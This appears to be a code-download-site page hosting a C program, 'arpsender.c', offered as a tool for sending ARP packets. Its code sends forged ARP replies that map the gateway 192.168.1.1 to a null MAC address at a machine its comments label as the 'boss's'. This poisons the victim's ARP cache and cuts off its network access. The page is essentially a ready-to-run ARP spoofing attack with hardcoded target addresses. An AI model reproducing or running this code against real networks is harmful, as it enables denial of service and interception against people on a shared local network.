⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 arpsender.c

📁 unix/linux send arp packet to other machine!
💻 C
字号:
//ARPSender.c//2007.4.20#include <stdio.h>#include <stdlib.h>#include <string.h>#include <netinet/if_ether.h>int Open_Raw_Socket(void);void eth_addr_parse(const char *s, unsigned char *d);int main(int argc, char *argv[]){	int sock, bytes_sent, fromlen, loop;	struct sockaddr from;	char tmp[ETHER_ADDR_LEN];	sock = Open_Raw_Socket();	fromlen = sizeof(from);	//ether_arp		:netinet/if_ether.h	//ether_header	:net/ethernet.h	unsigned char *buff = malloc(sizeof(struct ether_header) + sizeof(struct ether_arp));	//42 Byte   struct ether_header *eth_header = (struct ether_header*)buff;   struct ether_arp *arp = (struct ether_arp*)(buff + sizeof(struct ether_header));
   eth_addr_parse("00-e0-4c-73-51-d9", tmp);								//以太网目的地址	:boss's mac
   memcpy(&(eth_header->ether_dhost), tmp, ETHER_ADDR_LEN);
   eth_addr_parse("00-0c-29-83-57-60", tmp);								//以太网源地址	:my mac
   memcpy(&(eth_header->ether_shost), tmp, ETHER_ADDR_LEN);
   eth_header->ether_type = htons(0x0806);								//帧类型				:0x0806
   arp->ea_hdr.ar_hrd = htons(1);												//硬件类型				:ARPHRD_ETHER
   arp->ea_hdr.ar_pro = htons(0x0800);										//协议类型				:ETHERTYPE_IP
   arp->ea_hdr.ar_hln = 0x0006;													//硬件地址长度		:6
   arp->ea_hdr.ar_pln = 0x0004;													//协议地址长度		:4
   arp->ea_hdr.ar_op = htons(0x0002);										//op
   eth_addr_parse("00-00-00-00-00-00", tmp);							//发送端以太网地址	:00-00-00-00-00-00
   memcpy(&(arp->arp_sha), tmp, ETHER_ADDR_LEN);
      inet_aton("192.168.1.1", (struct in_addr*) & (arp->arp_spa));	//发送端IP地址		:192.168.1.1
   eth_addr_parse("00-13-8f-d3-87-84", tmp);								//目的以太网地址		:00-13-8f-d3-87-84
   memcpy(&(arp->arp_tha), tmp, ETHER_ADDR_LEN);
   inet_aton("192.168.1.4", (struct in_addr*) & (arp->arp_tpa));	//目的IP地址			:boss's ip		printf("ARP send start~!\n");	strcpy(from.sa_data, "eth0");	for(loop = 0; loop < 10; loop++)	{		bytes_sent = sendto(sock, buff, 42, 0, (struct sockaddr *)&from, fromlen);		printf("ARP send: %d Bytes~!\n", bytes_sent);	}	printf("ARP send over...\n");}int Open_Raw_Socket(){	int sock;	if((sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP))) < 0)	{		perror("The raw socket was not created.\n");		exit -1;	};	return sock;}void eth_addr_parse(const char *s,unsigned char *d)
{	sscanf(s, "%x-%x-%x-%x-%x-%x", &d[0], &d[1], &d[2], &d[3], &d[4], &d[5]);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -